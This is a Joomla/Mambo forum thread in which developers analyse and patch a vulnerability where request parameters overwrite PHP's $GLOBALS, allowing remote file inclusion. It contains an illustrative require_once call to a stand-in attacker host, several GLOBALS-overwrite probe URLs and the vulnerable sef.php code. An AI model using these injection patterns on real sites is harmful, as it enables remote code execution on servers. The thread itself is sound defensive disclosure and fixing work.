The Joomla! Forum ™

See http://www.derkeiler.com/Mailing-Lists/ ... /0535.html

I've read comments from more literate PHP programmers than myself that Joomla 1.0.3 is vulnerable, too.

A first fix has been posted here (warning: I don't know if this code is "safe"): http://nopaste.php-q.net/172937

Hmm... but configuration.php is included after globals.php... I don't see the security hole (maybe I am blind?)

_________________
http://de.siteof.de/

I already informed stingrey about the security issue and the possible fixes (there is another one at the same site).
So I expect we will hear from the core team very soon, telling us if joomla is affected or not and if so, how to fix this.

Greets,
Kurt

_________________
Kurt Banfi

http://www.clockbit.com <- Developer of Contacts XTD
http://www.open-sef.org <- Chief Designer

here is the hotfix (is the globals.php-off also vulnerable?)

http://nopaste.php-q.net/172945

or if you get in "Cannot modify headers" trouble try this one:

http://nopaste.php-q.net/172937


you may delete the first lines of code, since these are relevant for mambo.
leaving them shouldn't be a problem (I hope)

Can anyone point me to the issue... this is from the index.php (Mambo 4.5.1a and Joomla 1.0.3):


globals.php may cause the global variable $mosConfig_absolute_path (like any other) to be set according to the request variables... then configuration.php is included and overwrites that value anyway... where is the security hole? If it were the oposite order I'd understand it.

Btw. globals.php-off is not "vulnarable" because it does the oposite... would remove global variables if they are a request variable as well. (so it could remove $mosConfig_absolute_path but not set it... but also here the configuration.php is included after globals.php)

Maybe someone just thought there is a risk by just looking at it?

In either case I think it would be more appropriate informing the Core team and not the public for true holes. (Someone could use that information to hack not updated servers)

_________________
http://de.siteof.de/

where the security hole is is a good question, I just blocked the $GLOBALS[$key] thinggy if a "mosConfig_absolute_path" string is incoming.

however, I'm developing some stuff for mambo/joomla! for about 3 months now and I still wonder why such curious things like the ones in globals.php are built in? (putting some keys/vals without checking into $GLOBALS)

maybe there should be a real code cleaning project be opened soon?

ah ok, i think I got it,

the variable $mosConfig_absolute_path in configuration.php is _not_overwritten since there is no extract() happening.
so if you use $GLOBALS["mosConfig_absolute_path "] somewhere in mambo/joomla, its value can be really overwritten.

on place for overwriting could be:

\administrator\components\com_templates\admin.templates.php (line 189)

require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

easily overwrite with:

require_once( 'http://www.scriptkiddy.org/administrator/includes/pageNavigation.php' );


I guess, a lot of other things can be overwritten, too.

I believe the core team will come to the conclusion to better fix it

There is not so much wrong about it... it emulates the php configuration (which would not check either). By myself I would prefer it to off and if you look at http://help.joomla.org/ "Hardening Joomla!":



The configuration.php is included when beeing in the global variable scope (it is not within a function)... so it refers to the same variable.

The following are equal:


(the global statement is not required when beeing in a global variable scope anyway)

_________________
http://de.siteof.de/

aaah, ok, didn't expect $GLOBALS indices pointing to their corresponding variables.

so, I'm taking back everything...

but, maybe its really just a hoax, trying to keep my eyes a little bit closer on it.

ok, I think this is a hoax.

it seems the poster on full-disclosure thought the get/post variables would be given straigt into globals array (as I did)

So is there or isnt there a security issue here?

_________________
http://www.persianari.com

Hello,

it IS a security issue and a VERY BIG one.
I tested the exploit query string against a Mambo 4.5.2.3 site and it wanted to include a remote PHP file (here: HTML_Toolbar.php) and execute it locally.
I'd warn anyone just to laugh about that or thinking it's a hoax. It is NOT.
Every installation of Mambo 4.5.2.3 needs to be fixed, otherwise it's seriously vulnerable.

Joomla seems NOT to be affected and just prints "Hacking attempt..." on the screen when using the same exploit query string.

We need a fix for this!

ciao, Soeren

_________________
VirtueMart Lead Developer
Other projects: eXtplorer & joomlaXplorer, DocBook:Collab

im using Joomla! 1.0.3, so i guess im safe... right? 
if it doesnt affect Joomla, then it would have to be brought to the attention of the Mambo Development Team and they would have to find a fix.

_________________
http://www.persianari.com

Maybe someone from the coreteam can give more information on this issue? Not that I don't believe you soeren

_________________
Arjan Menger
http://www.welldotcom.nl - Professionele Joomla! Design, Ontwikkeling en Hosting
http://www.joomlaideal.nl - iDEAL betaalmethode voor Joomla! en Virtuemart

yes i havent heard anything formal from any of the Joomla! development team.
it would be great if it can be clarified.

_________________
http://www.persianari.com

There is a Big Security issue here.. and i already saw in zone-h that mamboserver had already been tagged

as of now i take my site under maitenance and redirect my users to another host that says im under maintenance until joomla releases some patch for it whew,.,.

What did you do to test it?
I opened http://host/index.php?mosConfig_absolute_path=abc and did not get any error. Maybe you are using an additional hack?
Also including a file like include('http://remotehost/file.php'); does execute a remote script but NOT locally... it would just insert the output of the remote script into the output of the (local if you want) request.

_________________
http://de.siteof.de/

Ok, I finally got it... the hole is not that it would overwrite $mosConfig_absolute_path, this is merely an effect... it is overwriting the GLOBALS array itself. So something like http://host/index.php?GLOBALS[mosConfig_absolute_path]=xyz will cause a problem... actually already http://host/index.php?GLOBALS[0 ]=xyz would cause a problem as well.
My test:
- Mambo 4.5.1a: error appears ("hole" effective)
- Mambo 4.5.2.3 and Joomla 1.0.3: Message "Fatal error. Global variable hack attempted." appears.

So I believe there is no fix needed for latest versions of each... however... so far I see you are able to exploit it when beeing on the same host. If you are not it may not be that easy to explot it (but the whole globals stuff would not work correctly anymore so I don't know).

_________________
http://de.siteof.de/

Please note, that the exploit is not an exploit when the machine is running PHP >= 4.41 or 5.0.4.

When you have
- Mambo < 4.5.2.3
- register_globals=Off
- PHP < 4.4.1 or 5.0.4

your site is vulnerable.

ciao, Soeren

_________________
VirtueMart Lead Developer
Other projects: eXtplorer & joomlaXplorer, DocBook:Collab

With the URL which Soeren sent me by PM I could see still an error in 4.5.2.3 because another super global array is overwritten as well.
In Joomla the problem seem not to appear because the content.html.php does not include the file there (but the problem could appear somewhere else).

Anyhow... the problem is not $mosConfig_absolute_path nor is it how HTML_toolbar.php is included. While by myself I prefer to use the global statement and access global variables like regular variables it is completely correct to use $GLOBALS instead. The problem is that due to &GLOBALS= the GLOBALS super global array is overwritten. And the "Global variable hack attempted" check can be tricked by a similiar approach (this is maybe not good for public).

The "solution" in http://nopaste.php-q.net/172945 is not really a fix... while it "solves" an issue for "mosConfig_absolute_path" the same problem stays for other variables... instead it should prevent super globals to get overwritten... those are for example: $GLOBALS, $_REQUEST, $_SESSION.

A quick fix is very simple: have an empty globals.php (or remove the include).
Scripts that rely on register globals may be vulnerable anyway and others should not care. When having the PHP setting register_globals=On PHP should make sure that super globals get not overwritten.
(The other fix would be to prevent those other variables to get overwritten)

The globals-off.php may cause problems as well by causing super globals to get removed but it should not be possible to add certain values.

And again... when a file is included that contains "http://" (or another protocol) it is not executed within the same PHP context but is treated as a separate HTTP request and the output is included.

I hope that helps... and I am glad if someone corrects me.


Edit: ... and btw... if the following part were in the beginning of globals.php instead of in mambo.php/joomla.php that would help as well:

_________________
http://de.siteof.de/

You're right about that. However, keep in mind that someone could have configured his webserver to send php-files asis, meaning as unparsed textfiles.. Your skript then includes an executable php-file, and the attacker could have any code he wants executed by your skript on your server!

_________________
We may not be able to control the wind, but we can always adjust our sails

Ok, true... I assumed that PHP does not parse the output... but I see I was wrong about that assumption.

_________________
http://de.siteof.de/

If anyone can replicate this exploit on an older verison of PHP let us know.  I've had a good look but can't see any trouble.

Note in Joomla 1.1 we will be switching the globals.php to the off emulation mode as a default.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

I'd prefer to not make the full details public ;-)

_________________
http://de.siteof.de/

Sorry, I do have PM's turned off (the number was just getting rediculous).  The mail link should be ok though.

_________________
Andrew Eddie - Tweet @AndrewEddie
<><
http://learn.theartofjoomla.com - Joomla 2.5 training videos!
http://www.kiva.org/team/joomla - Got Joomla for free? Pay it forward and help fight poverty.

First of all: there is a big security threat. I could confirm that with $ambo 4.5.2.3 and the current Joomla trunk version (1109). It is possible - using the right URL - to have your site include and execute a remote script! soeren is right, but Joomla is also affected.

Took me some time to locate the bug, though. As "de" states, configuration.php is loaded after globals.php. What I completely overlooked is this: includes/sef.php also registers the globals once again! So if you have SEF turned on, the two earlier fixes in this thread won't help.

As a quick and dirty fix, change includes.sef.php, around line 160, from

to

_________________
We may not be able to control the wind, but we can always adjust our sails

These hotfixes are both not safe!


In Mambo (only tested with 4.5.2.3), or in Joomla (only tested with the SVN Branch 1.0 at revision 1109) change

• includes/sef.php as stated in my previous post
• index.php and index2.php as follows:

[code=originalaly in index.php and index2.php]
include_once ('globals.php');
require_once ('configuration.php');
[/code]
to


Seems, like there is a better way coming up in Joomla 1.0.4 though, so this is just a quick workaround.

_________________
We may not be able to control the wind, but we can always adjust our sails

"Resetting" $mosConfig_absolute_path would assume that this is the only variable which could cause harm... but I believe this is like giving the symptom a cure :-)

Anyhow... I thought it might be easier if I give a complete "fix" (at least I believe it is):

(this would be the new globals.php)

But as mentioned ealier... having an empty globals.php should do as well (it then just uses the PHP setting... the fastest anyway).


Edit: ohh and the other spotted area in sef.php...
The following line (167):

should be replaced by:

_________________
http://de.siteof.de/

I totally agree on this. As I said, it's only a quick and dirty fix.


Looks good. The problem is, that the GLOBALS are overwritten once again in includes/sef.php.
[code=sef.php, line 178]
// Extract to globals
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
// Don't allow config vars to be passed as global
include( "configuration.php" );
[/code]
This makes your nice globals.php useless if you have SEF enabled. The included configuration.php is also useless at this point as we are in a function context and the $mosConfig_* variables are not exported to global scope. So if you would include your globals.php once again in sef.php instead of the "while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;", you should be fine (maybe we don't even need that line, haven't thought of it yet).
Edit: Didn't see your edit early enough


True It's the fastest and safest (with register_globals=off in php.ini).

By the way, in the upcoming Joomla! 1.1, register_globals=off is emulated by the globals.php by default.

_________________
We may not be able to control the wind, but we can always adjust our sails

Hmm... you almost got me... but in my sef.php it seem not to be inside a function? But also another line number... and in the current version which I checked out this second I do not even see the sef.php.

If it is really inside a function one could write something like this before calling "registerGlobalArray":


Alternatively the function registerGlobalArray could be modified:

(not tested) I would not really suggest this though as it may suggest a security which is not there (for example when using the built in register globals).

That sef.php always "registers" those GET variables is an error somehow anyway as it does not consider whether the original globals.php was included or globals.php-off.
Note: if you are using an addition SEF component another sef.php gets included. (at least until they are replaced by Bots)

OT: Btw. are you living in another timezone?

_________________
http://de.siteof.de/